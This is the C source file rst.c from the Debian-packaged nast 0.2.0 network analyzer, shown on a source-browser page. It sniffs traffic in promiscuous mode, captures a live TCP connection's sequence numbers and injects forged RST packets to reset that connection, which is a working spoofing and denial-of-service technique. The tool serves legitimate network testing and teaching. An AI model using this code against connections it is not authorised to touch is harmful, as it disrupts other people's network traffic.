File: rst.c

package info (click to toggle)
nast 0.2.0-13
  • links: PTS, VCS
  • area: main
  • in suites: forky, sid
  • size: 1,824 kB
  • sloc: ansic: 7,516; sh: 2,768; makefile: 63
file content (144 lines) | stat: -rw-r--r-- 3,924 bytes parent folder | download | duplicates (4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
/*
    nast

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

*/

#include "include/nast.h"

struct pkt
{
   u_long seq;
   u_long ack;
};
extern char errbuf[256];
struct pkt info;

/* reset a connection */

int rst (char *dev,u_long ip_src,u_long ip_dst,u_short sport,u_short dport)
{
   struct libnet_ipv4_hdr *ip;
   struct libnet_tcp_hdr *tcp;
   libnet_t *l;
   u_short n;

#ifdef HAVE_LIBNCURSES
   if(graph)
     init_scr();
#endif

   if (demonize)
     {
	w_error(0,"Is very useless demonize me in resetting connection! Omit");
	demonize=0;
     }

   pcap_lookupnet (dev,&netp,&maskp,errbuf);

   if((descr=pcap_open_live(dev, BUFSIZ, PROMISC, 10, errbuf)) == NULL)
     {
	w_error(1, "pcap_open_live: %s\n", errbuf);
     }

   offset=(device(dev,descr));

   if (sport && dport)
     n_print("princ",1,1,0,"- Waiting for SEQ ACK (%s:%d -> %s:%d)\n",libnet_addr2name4(ip_src , 0),sport,libnet_addr2name4(ip_dst , 0),dport);
   else if (!dport && sport)
     n_print("princ",1,1,0,"- Waiting for SEQ ACK (%s:%d -> %s)\n",libnet_addr2name4(ip_src , 0),sport,libnet_addr2name4(ip_dst , 0));
   else if (!sport && dport)
     n_print("princ",1,1,0,"- Waiting for SEQ ACK (%s -> %s:%d)\n",libnet_addr2name4(ip_src , 0),libnet_addr2name4(ip_dst , 0),dport);

   for (;;)
     {

	packet = (u_char *) pcap_next(descr, &hdr);

	ip = (struct libnet_ipv4_hdr *) (packet + offset);
	if (ip->ip_p != IPPROTO_TCP)
	  continue;
	if ((ip->ip_src.s_addr != ip_src) || (ip->ip_dst.s_addr != ip_dst))
	  continue;
	tcp = (struct libnet_tcp_hdr *) (packet + offset + sizeof (struct libnet_ipv4_hdr));

	if (!(tcp->th_flags & TH_ACK))
	  continue;

	/* the specified port are not either zero */
	if (sport && dport)
	  {
	     if ((tcp->th_sport != htons(sport)) || (tcp->th_dport != htons(dport)))
	       continue;
	  }
	/* dport is 0 */
	else if (!dport && sport)
	  {
	     if ((tcp->th_sport != htons(sport)))
	       continue;
	     /* DPORT */
	     dport = htons (tcp->th_dport);
	  }
	/* sport is 0 */
	else if (!sport && dport)
	  {
	     if ((tcp->th_dport != htons(dport)))
	       continue;
	     /* SPORT */
	     sport = htons (tcp->th_sport);
	  }

	info.seq = htonl (tcp->th_seq);
	info.ack = htonl (tcp->th_ack);

	n_print("princ",3,1,0,"- Stoled SEQ (%lu) ACK (%lu)...\n", info.seq, info.ack);
	break;
     }

   pcap_close(descr);

   /* second part */

   if ((l = libnet_init (LIBNET_RAW4, NULL, errbuf))==NULL)
     {
	w_error(1, "libnet_init: %s\n", errbuf);
     }

   if (libnet_build_tcp (sport, dport, info.seq, info.ack, TH_RST, 32767, 0, 0, LIBNET_TCP_H, NULL, 0, l, 0)==-1)
     {
	libnet_destroy (l);
	w_error(1, "Error building tcp header : %s\n" ,libnet_geterror(l));
     }

   if (libnet_build_ipv4 (LIBNET_TCP_H + LIBNET_IPV4_H, 0x08, 35320, 0, 64, IPPROTO_TCP, 0, ip_src , ip_dst , NULL, 0, l, 0)==-1)
     {
	libnet_destroy (l);
	w_error(1, "Error building ip header : %s\n", libnet_geterror(l));
     }

   /* send 2 packet for security :) */
   for (n = 0; n < 2 ; n++)
     if (libnet_write (l) == -1)
       {
	  libnet_destroy(l);
	  w_error(1, "Error writing packet on wire : %s\n", libnet_geterror(l));
       }

   libnet_destroy(l);
   n_print("princ",5,1,0,"- Connection has been reset\n\n");

   return (0);
}